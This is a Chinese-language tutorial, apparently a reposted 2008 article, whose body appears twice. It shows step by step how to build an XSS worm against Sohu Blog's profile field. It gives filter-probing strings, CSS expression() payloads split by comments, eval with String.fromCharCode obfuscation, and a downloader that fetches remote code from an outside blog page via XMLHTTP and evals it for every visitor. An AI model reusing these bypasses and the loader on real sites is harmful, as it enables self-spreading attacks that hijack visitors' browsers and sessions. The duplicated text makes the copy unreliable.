完整的XSS wrom入侵實現(xiàn)流程
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:38:24 作者:佚名
我要評論
我先拿SOHU BLOG做示范.
1.測試過濾字符,下面都是構造XSS所需要的關鍵字符(未包含全角字符,空格是個TABLE,/前是真正的空格),在個人檔案處看過濾了哪些.
’’;:!--"<javascript JAvaSCriPT>={()} /
結果
’’;:!--"={()} //
我先拿SOHU BLOG做示范.
1.測試過濾字符,下面都是構造XSS所需要的關鍵字符(未包含全角字符,空格是個TABLE,\/前是真正的空格),在個人檔案處看過濾了哪些.
’’;:!--"<javascript JAvaSCriPT>={()} \/
結果
’’;:!--"={()} // (&后是amp,論壇過濾了)
過濾了"javascript","&"和"\"這兩個轉義字符串,因此HTML轉碼和CSS樣式轉碼已無效,只好從屬性和事件入手.
2.測試一個XSS常用屬性和兩個事件,貌似沒有過濾字符.
expression
onerror
onload
3.下面開始嘗試構造語句.如下:
<img src="#" style="Xss:expression(alert(’xss’));">
<img src="#" onerror=alert(’xss’)>
<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>
構造完整標記,頁面輸出后又全部過濾.
4."/"字符沒有過濾因此可以構造/*xxxx*/注釋符,expression屬性可以配合注釋符構造出語句:
<div style="xss:ex/**/pre/**/ssion(alert(’xss’))">
5.由于expression屬性比較特殊想當于一個死循環(huán)的EVAL函數(shù),同時style標記里不能出現(xiàn)";"字符,也就是不能構造多條連接在一起的javascript,因此構造出如下語句:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}">
//設置一個COOKIE在10秒后失效,并在這條COOKIE語句中執(zhí)行其他語句或函數(shù).
6.遺憾的是SOHU BLOG對于標記內不合適的內容都會過濾,因此我們無法eval標記內的某個變量,于是采用fromCharCode方法,將Unicode字符值專成字符串再用eval函數(shù)執(zhí)行:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
7.感染流程考慮:
㈠.BLOG頁面的個人檔案處是頁面通用的,
㈡.XSS內容寫到個人檔案處,所有瀏覽者都會觸發(fā)XSS
㈢.實現(xiàn)一段提交XSS內容到個人檔案的代碼.
8.個人檔案處只能輸入2048個字符,又采用了fromCharCode方法,因此出現(xiàn)XSS代碼長度的限制,因此只能調用遠程代碼,于是寫出了個XSS downloader.
主要代碼:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*調用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*發(fā)出一個GET提交請求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf計算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解碼.
}d()
http://s0n9.blog.sohu.com/31406970.html 頁面代碼:
alert('xss');
/*利用escape將標點符號轉碼,由于responseText特性,某些字符會轉換,如"&"字符會變成"&"(&后是amp,論壇過濾了)
PS:其他傳染和詳細的偽造提交的過程略去,各門戶網(wǎng)站小心,過濾好XSS關鍵字,以防止XSS WROM爆發(fā)
1.測試過濾字符,下面都是構造XSS所需要的關鍵字符(未包含全角字符,空格是個TABLE,\/前是真正的空格),在個人檔案處看過濾了哪些.
’’;:!--"<javascript JAvaSCriPT>={()} \/
結果
’’;:!--"={()} // (&后是amp,論壇過濾了)
過濾了"javascript","&"和"\"這兩個轉義字符串,因此HTML轉碼和CSS樣式轉碼已無效,只好從屬性和事件入手.
2.測試一個XSS常用屬性和兩個事件,貌似沒有過濾字符.
expression
onerror
onload
3.下面開始嘗試構造語句.如下:
<img src="#" style="Xss:expression(alert(’xss’));">
<img src="#" onerror=alert(’xss’)>
<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>
構造完整標記,頁面輸出后又全部過濾.
4."/"字符沒有過濾因此可以構造/*xxxx*/注釋符,expression屬性可以配合注釋符構造出語句:
<div style="xss:ex/**/pre/**/ssion(alert(’xss’))">
5.由于expression屬性比較特殊想當于一個死循環(huán)的EVAL函數(shù),同時style標記里不能出現(xiàn)";"字符,也就是不能構造多條連接在一起的javascript,因此構造出如下語句:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}">
//設置一個COOKIE在10秒后失效,并在這條COOKIE語句中執(zhí)行其他語句或函數(shù).
6.遺憾的是SOHU BLOG對于標記內不合適的內容都會過濾,因此我們無法eval標記內的某個變量,于是采用fromCharCode方法,將Unicode字符值專成字符串再用eval函數(shù)執(zhí)行:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
7.感染流程考慮:
㈠.BLOG頁面的個人檔案處是頁面通用的,
㈡.XSS內容寫到個人檔案處,所有瀏覽者都會觸發(fā)XSS
㈢.實現(xiàn)一段提交XSS內容到個人檔案的代碼.
8.個人檔案處只能輸入2048個字符,又采用了fromCharCode方法,因此出現(xiàn)XSS代碼長度的限制,因此只能調用遠程代碼,于是寫出了個XSS downloader.
主要代碼:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*調用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*發(fā)出一個GET提交請求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf計算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解碼.
}d()
http://s0n9.blog.sohu.com/31406970.html 頁面代碼:
alert('xss');
/*利用escape將標點符號轉碼,由于responseText特性,某些字符會轉換,如"&"字符會變成"&"(&后是amp,論壇過濾了)
PS:其他傳染和詳細的偽造提交的過程略去,各門戶網(wǎng)站小心,過濾好XSS關鍵字,以防止XSS WROM爆發(fā)
相關文章

什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06
Windows系統(tǒng)安全風險-本地NTLM重放提權
入侵者主要通過Potato程序攻擊擁有SYSTEM權限的端口偽造網(wǎng)絡身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權限,該安全風險微軟并不認為存在漏洞,所以2021-04-15
這篇文章主要介紹了文件上傳漏洞全面滲透分析小結,這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權,需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導致用戶信息泄露。2016-07-27- 國家正在修正關于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06


